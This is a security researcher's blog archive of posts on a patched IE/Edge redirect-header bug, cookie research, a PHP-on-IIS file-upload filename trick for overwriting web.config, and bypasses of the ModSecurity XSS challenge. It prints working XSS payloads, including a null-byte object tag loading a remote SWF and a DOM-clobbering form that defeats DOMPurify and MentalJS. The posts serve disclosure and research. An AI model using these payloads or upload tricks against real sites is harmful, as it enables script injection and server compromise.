Tag Archives: bypass

CVE-2017-8592 – XMLHttpRequest in IE followed 307 redirections with additional or customised headers

If you are doing web application security assessments, you probably have seen many APIs that do not have any cross-site request forgery (CSRF) protections other than checking the Content-Type header.

Although this seems like a bad way of doing this, browsers do not normally allow you to use unusual Content-Type headers for another website (without CORS) and therefore the exploitation is quite impossible. However, a vulnerability was found in Internet Explorer and Edge that allowed users to set these arbitrary headers (anything that JavaScript can set). This issue was patched in July 2017. More details can be seen here:


As mentioned in the above URL, bypassing security features using redirection is a common attack vector and it was interesting that this issue had not been reported to Microsoft previously. A similar issue in Adobe Flash had been patched a long time ago (see https://www.whitehatsec.com/blog/flash-307-redirect-game-over/).

Analysis of setting cookies for third party websites in different browsers

I had done a research into the ability of third party websites setting cookies for first party websites across different web browsers. This was published in the NCC Group blog which is available via the following link:


The PDF version of this blog post is also available here: https://soroush.secproject.com/downloadable/Analysis_of_setting_cookies_NCCGroup_blog.pdf

File Upload and PHP on IIS: >=? and <=* and "=.

In file upload attack, sometimes overwriting existing sensitive files such as web.config, .htaccess, or crossdomain.xml is needed in order to bypass protections around the uploaded files.

I found out that PHP on IIS (I used FastCGI) converts the following characters when it is going to save a file in Windows:

Greater-than symbol (closing angle bracket “>”) TO a question mark (“?”)

Less-than symbol (opening angle bracket “<”) TO an asterisk symbol (“*”)

Double quotation mark (“””) TO a dot character (“.”)

This feature can be abused to bypass file extension protections in which a file uploader accepts a file name without any extension or uses a blacklist method to check the file name and extension.

Now as an example, in order to overwrite a web.config file in the upload directory when the .config extension is blocked, it is possible to use “filename=”web<<“” in the file upload request. If “web**” replaces another file in the same directory (for example web.aspx), another combination can be used such as “filename=”web<<>fig”” or “filename=’web”config’”.

Note 1: Windows 8.3 feature could also be used but it would rename the web.config file to web~1.con in the end.

Note 2: Asterisk and question mark symbols cannot be used directly as the file system rejects them.

Note 3: Sometimes WordPress replaces double and single quotation marks with visually similar symbols. Therefore, it is recommended to type the vectors yourself in Burp Suite or other proxies that you use instead of copy/paste them directly from here.

You can also see the first version of my “File in The Hole” slides located at the following URL: https://soroush.secproject.com/blog/2012/11/file-in-the-hole/

I have found this technique myself so please send me a link if you had seen it somewhere else before, and I will add its link here as well.

Updates – similar efforts on this topic (this method was known before as expected!): 





How did I bypass everything in modsecurity evasion challenge?

First of all, at the moment this challenge is ongoing since last year (2013) and you may have already heard about it. Here is the link to this challenge: http://www.modsecurity.org/demo/demo-deny-noescape.html

I was very late to the party as other challengers could have defeated it easier in September 2013: http://blog.spiderlabs.com/2013/09/modsecurity-xss-evasion-challenge-results.html. These bypasses have been fixed now and it should not be possible to use those techniques to win the challenge.

As a result, the challenge is much harder than what it was in September and probably would be tougher in future. Fortunately, I managed to bypass all three different groups of the protections separately. Unfortunately, I could not find a single payload to bypass everything at the same time so I could not claim the prize just like other previous challengers! You can tell me first if you found a way to bypass them all though ;)

Here is what I did to bypass the XSS protections in this challenge for future reference:

XSS Defense #1 – blacklist method

XSS detection based on 5 different restricted blacklists! In my humble opinion, you may not be able to use these blacklists at the same time in a live web application because of the high number of false-positives. For example, it currently detects the following strings as attack vectors: “dude, I am online =))”, “<~form”, or “test this src for me”.

I thought I may be able to bypass the protection by using a flash file and an “object” tag, but “<object data=…” was blocked by different protections…

However, I used the following features to bypass these protections:

  •  An “object” tag does not need to be closed for this scenario.
  • A null character with an alphanumeric character after the “object” tag would make it undetectable by different protection methods in this challenge (e.g. “<object%00something”).
  • “allowScriptAccess” and “data” attributes were allowed!

So the following is a bypass method for the XSS Defense #1:

<object%00something allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?

And as the page writes the payload twice, I could also use the following to bypass the protections:

'allowScriptAccess=always data=//0me.me/demo/xss/flash/normalEmbededXSS.swf?<object%00something else='

XSS Defense #2 and #3 – DomPurify and MentalJS

The defense #2 and #3 are about bypassing the white-list protections. You can read more about them in the modsecurity challenge page.

I was thinking to bypass DomPurify by using DOM clobbering attack (http://www.thespanner.co.uk/2013/05/16/dom-clobbering/) but it had some protections against it:

// https://raw.githubusercontent.com/cure53/DOMPurify/d488ccf4680a7c019bce4de100f53e8ed86d5034/purify.js
        var _isClobbered = function(elm) {
            if(elm instanceof Text) {
                return false;
            if (
                (elm.children && !(elm.children instanceof HTMLCollection))
                || typeof elm.nodeName !== 'string'
                || typeof elm.textContent !== 'string'
                || typeof elm.nodeType !== 'number'
                || typeof elm.COMMENT_NODE !== 'number'
                || typeof elm.setAttribute !== 'function'
                || typeof elm.cloneNode !== 'function'
                || typeof elm.removeAttributeNode !== 'function'
                || typeof elm.insertAdjacentHTML !== 'function'
                || typeof elm.attributes.item !== 'function'
            ) {
                return true;
            return false;

In this code, it checks “elm.attributes.item” to be a function but it does not verify the “elm.attributes” to have the correct type (it has been fixed now). As a result, I managed to bypass its “_sanitizeAttributes()” function by using a “form” tag with two “input” elements with the “name” attributes equal to “attributes”. If I was using just one “input” element, “elm.attributes.item” would not be a function, and therefore it was detectable; however, with more than one element, “elm.attributes.item” would be a function and “attributes.length” would be a numerical value so there would be no error in JavaScript, and this causes confusion for “currentNode.attributes[attr].name” in the following code to point to the “input” elements instead of the real form’s attributes which is what we need. Therefore, I could bypass the protection that DomPurify had in the “_sanitizeAttributes” function without causing any error by using DOM clobbering technique:

/* Check if we have attributes; if not we might have a text node */
if(currentNode.attributes) {

/* Go backwards over all attributes; safely remove bad ones */
for (var attr = currentNode.attributes.length-1; attr >= 0; attr--) {
tmp = clonedNode.attributes[attr];
clobbering = false;

The bypass code is as follows:

<form onmouseover="alert(&quot;by @irsdl:&quot;%2bdocument.location)"><input type="text" name="attributes" /><input type="text" name="attributes" />

It turned out that this also bypasses MentalJS sandbox by causing confusion as a result of DOM clobbering in the code below:

if(elementNode.attributes instanceof HTMLElement || typeof elementNode.setAttribute !== 'function' || typeof elementNode.getAttribute !== 'function' || typeof elementNode.removeAttribute !== 'function') {

XSS Defense #3 – MentalJS

Apart from the previous bypass for MentalJS, I also found out that it is possible to bypass its sandbox by using “innerHTML” to build a script tag instead of using “createTextNode”:

<script type="text/javascript">

I also found the following interesting tricks in MentalJS but they did not lead me to any new bypasses:

Keeping script “src” to an external js file (normally MentalJS removes them):

<script type="text/javascript" src="http://ha.ckers.org/xss.js">

Keeping a non-whitelisted tag by clobbering the “removeChild” function (this will cause a JavaScript error but this is not a problem as it is in a try/catch statement):

<form name="IRSDL"><input type="text" name="removeChild" /><input type="text" name="removeChild" />xxxx</form>

If you are still interested, the following link is the conversation about bypassing MentalJS in slackers forum and it is really awesome:


MentalJS has been written by Gareth Heyes (@garethheyes‎) who was supporting me to bypass his tool to make it more secure.